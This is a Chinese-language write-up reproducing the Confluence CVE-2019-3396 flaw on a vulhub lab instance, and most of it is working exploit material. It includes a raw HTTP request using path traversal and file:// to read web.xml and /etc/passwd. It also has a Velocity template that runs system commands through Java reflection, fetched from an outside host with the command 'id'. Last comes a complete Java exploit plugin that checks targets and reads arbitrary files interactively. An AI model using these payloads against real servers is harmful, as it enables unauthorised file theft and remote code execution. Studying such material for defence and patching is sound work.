关于Confluence
Atlassian Confluence 是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。
漏洞分析
漏洞复现
安装
参照vulhub,用docker启动一个存在漏洞的实例。
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
访问 http://ip:8090/ 开始安装。
点击“Get an evaluation license”,登录google账号生成一个license。
文件读取
POC
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: *****:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://****:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 168
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
限制了目录跳转,不能再往上跳了,不过可以使用file协议来读取绝对路径的文件
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
RCE复现
参照“https://www.t00ls.net/thread-50686-1-1.html”的EXP,可以回显命令执行结果。
需要把这段表达式存成rce.vm放在服务器上,可以是https或者ftp协议。
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
这是一段 Velocity 表达式,通过给出的代码可以知道是通过Java反射来执行系统命令。
不懂模板注入可以参考drops的这篇文章服务端模板注入:现代WEB远程代码执行
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"https://www.trackray.cn/rce.vm","cmd":"id"}}}
EXP
trackray
package com.trackray.module.plugin.webapp.confluence;
import com.trackray.base.annotation.Param;
import com.trackray.base.annotation.Plugin;
import com.trackray.base.annotation.Rule;
import com.trackray.base.plugin.WebSocketPlugin;
import com.trackray.base.utils.Message;
import org.javaweb.core.net.HttpResponse;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import org.springframework.web.util.HtmlUtils;
import java.net.MalformedURLException;
import java.util.Map;
/**
* @author 浅蓝
* @email [email protected]
* @since 2019/4/10 12:55
*/
@Plugin(value = "confluenceRCE",
title = "Confluence RCE CVE-2019-3396",
author = "blue")
@Rule(websocket = true,params = {@Param(key = "url" ,desc = "目标地址")})
public class ConfluenceServerRCE extends WebSocketPlugin {
public static String readFilePayload = "{\"contentId\":\"786458\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc6\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"%s\"}}}";
@Override
public boolean check(Map param) {
if (!param.isEmpty()){
this.url = param.get(this.currentParams()[0].key()).toString();
if (url.endsWith("/"))
url = url.substring(0,url.length()-1);
Document parse = attack(String.format(readFilePayload, "../web.xml"));
if (parse!=null){
Elements wiki = parse.getElementsByClass("wiki-content");
if (wiki!=null&&wiki.hasText()){
String text = wiki.html();
if (text.contains("filter-class"))
sendColorMsg(Message.RED("存在安全漏洞"));
return true;
}
}
}
return false;
}
private String url ;
@Override
public Object start() {
send("请输入要读取的文件 如/etc/passwd,输入exit退出");
while(true){
String input = getInput();
if (input.equals("exit"))
break;
if (input.startsWith("/"))
input = input.substring(1,input.length());
String format = String.format(readFilePayload, "file:///".concat(input));
Document parse = attack(format);
if (parse!=null){
Elements wiki = parse.getElementsByClass("wiki-content");
if (wiki!=null&&wiki.hasText()){
String text = wiki.html();
send("=========================");
sendColorMsg(Message.RED(HtmlUtils.htmlEscape(text)));
send("=========================");
}
}
}
return "";
}
private Document attack(String data){
try {
HttpResponse post = requests.url(url.concat("/rest/tinymce/1/macro/preview"))
.contentType("application/json; charset=utf-8")
.timeout(60000)
.referer(url + "/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&")
.data(data).post();
String body = post.body();
if (body!=null)
return Jsoup.parse(body);
} catch (MalformedURLException e) {
}
return null;
}
}
参考
Confluence 未授权 RCE (CVE-2019-3396) 漏洞分析